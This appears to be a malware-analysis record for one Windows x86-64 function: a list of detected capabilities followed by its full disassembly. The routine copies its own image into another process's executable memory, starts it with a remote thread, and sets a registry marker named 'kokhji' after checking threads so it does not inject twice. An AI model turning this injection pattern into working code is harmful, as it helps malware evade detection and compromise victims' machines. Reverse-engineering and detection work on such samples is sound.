Function at 0x140012b70
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate threads
Inject thread
Query or enumerate registry value
Set registry value
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x128
mov rax, qword [0x14017e100]
xor rax, rsp
mov qword [rsp + 0x110], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [0x1400604f0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0xec], 4
lea rax, [rsp + 0xec]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x18
lea r8, [0x140060508]
xor edx, edx
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov byte [rsp + 0x40], 0
xor edx, edx
mov ecx, 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
je 0x140012cd6
mov dword [rsp + 0xf0], 0x1c
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x48]
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x140012cca
mov eax, dword [rsp + 0xf0]
cmp rax, 0x10
jb 0x140012ca9
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x78], rax
lea rdx, [0x140060518]
mov rcx, qword [rsp + 0x78]
call fcn.14000e420
mov qword [rsp + 0x80], rax
mov rcx, qword [rsp + 0x80]
call fcn.140012a20
cmp dword [rsp + 0xfc], eax
jne 0x140012ca9
mov eax, dword [rsp + 0xe8]
cmp dword [rsp + 0xf8], eax
jne 0x140012ca9
mov byte [rsp + 0x40], 1
mov dword [rsp + 0xf0], 0x1c
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x48]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x140012c4b
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
movzx eax, byte [rsp + 0x40]
test eax, eax
je 0x140012cfd
mov dword [rsp + 0x60], 0
mov rcx, qword [rsp + 0x130]
call fcn.1400077d0
mov eax, dword [rsp + 0x60]
jmp 0x140012eba
call fcn.140027440
nop
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x88], rax
mov rdx, qword [rsp + 0x130]
mov rcx, qword [rsp + 0x88]
call fcn.14000e380
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
call fcn.140012a20
mov r8d, eax
xor edx, edx
mov ecx, 0x2a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x58], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax + 0x50]
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
inc eax
mov eax, eax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
jne 0x140012dc9
mov dword [rsp + 0x64], 0
mov rcx, qword [rsp + 0x130]
call fcn.1400077d0
mov eax, dword [rsp + 0x64]
jmp 0x140012eba
mov eax, dword [rsp + 0x44]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x138]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.kokhji
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
cmp qword [rsp + 0x98], 0
jne 0x140012e95
mov dword [rsp + 0x68], 0
mov rcx, qword [rsp + 0x130]
call fcn.1400077d0
mov eax, dword [rsp + 0x68]
jmp 0x140012eba
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [rsp + 0x6c], 0
mov rcx, qword [rsp + 0x130]
call fcn.1400077d0
mov eax, dword [rsp + 0x6c]
mov rcx, qword [rsp + 0x110]
xor rcx, rsp
call fcn.14002cfa0
add rsp, 0x128
ret